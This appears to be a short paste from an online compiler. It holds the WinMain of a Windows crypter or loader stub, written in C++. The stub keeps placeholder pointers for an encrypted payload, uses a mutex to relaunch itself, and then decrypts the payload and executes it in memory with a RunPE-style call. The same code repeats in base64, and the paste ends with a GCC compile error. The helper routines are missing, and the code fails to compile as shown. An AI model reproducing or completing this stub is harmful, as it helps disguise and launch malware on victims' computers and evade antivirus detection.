int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
LPBYTE pbCryptedImage = (LPBYTE) 0xDEADC0DE;
DWORD dwImageSize = 0xDEADFADE;
LPBYTE pbMemoryImage = NULL;
TCHAR szFilePath[MAX_PATH];
HANDLE hMutex = NULL;
hMutex = CreateMutex(NULL, TRUE, TEXT("muuu==="));
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
pbMemoryImage = (LPBYTE) ShellcodeToMem(pbCryptedImage, dwImageSize);
if (pbMemoryImage)
{
GetModuleFileNameA(0, LPSTR(szFilePath), MAX_PATH);
ExecFile(LPSTR(szFilePath), pbMemoryImage);
}
}
else
{
GetModuleFileNameA(0, LPSTR(szFilePath), MAX_PATH);
WinExec(szFilePath, SW_SHOW);
Sleep(100);
}
return 0;
}
aW50IENBTExCQUNLIFdpbk1haW4oSElOU1RBTkNFIGhJbnN0YW5jZSwgSElOU1RBTkNFIGhQcmV2SW5zdGFuY2UsIExQU1RSIGxwQ21kTGluZSwgaW50IG5DbWRTaG93KQp7CglMUEJZVEUgcGJDcnlwdGVkSW1hZ2UgPSAoTFBCWVRFKSAweERFQURDMERFOwoJRFdPUkQgZHdJbWFnZVNpemUgPSAweERFQURGQURFOwoJTFBCWVRFIHBiTWVtb3J5SW1hZ2UgPSBOVUxMOwogICAgVENIQVIgc3pGaWxlUGF0aFtNQVhfUEFUSF07CiAgICBIQU5ETEUgaE11dGV4ID0gTlVMTDsKCgloTXV0ZXggPSBDcmVhdGVNdXRleChOVUxMLCBUUlVFLCBURVhUKCJtdXV1PT09IikpOwoJaWYgKEdldExhc3RFcnJvcigpID09IEVSUk9SX0FMUkVBRFlfRVhJU1RTKQoJewoJCXBiTWVtb3J5SW1hZ2UgPSAoTFBCWVRFKSBTaGVsbGNvZGVUb01lbShwYkNyeXB0ZWRJbWFnZSwgZHdJbWFnZVNpemUpOwoJCWlmIChwYk1lbW9yeUltYWdlKQoJCXsKCQkJR2V0TW9kdWxlRmlsZU5hbWVBKDAsIExQU1RSKHN6RmlsZVBhdGgpLCBNQVhfUEFUSCk7CgkJCUV4ZWNGaWxlKExQU1RSKHN6RmlsZVBhdGgpLCBwYk1lbW9yeUltYWdlKTsKCQl9Cgl9CgllbHNlCgl7CgkJR2V0TW9kdWxlRmlsZU5hbWVBKDAsIExQU1RSKHN6RmlsZVBhdGgpLCBNQVhfUEFUSCk7CgkJV2luRXhlYyhzekZpbGVQYXRoLCBTV19TSE9XKTsKCQlTbGVlcCgxMDApOwoJfQogICAgcmV0dXJuIDA7Cn0=
prog.c:1:14: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'WinMain'
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
^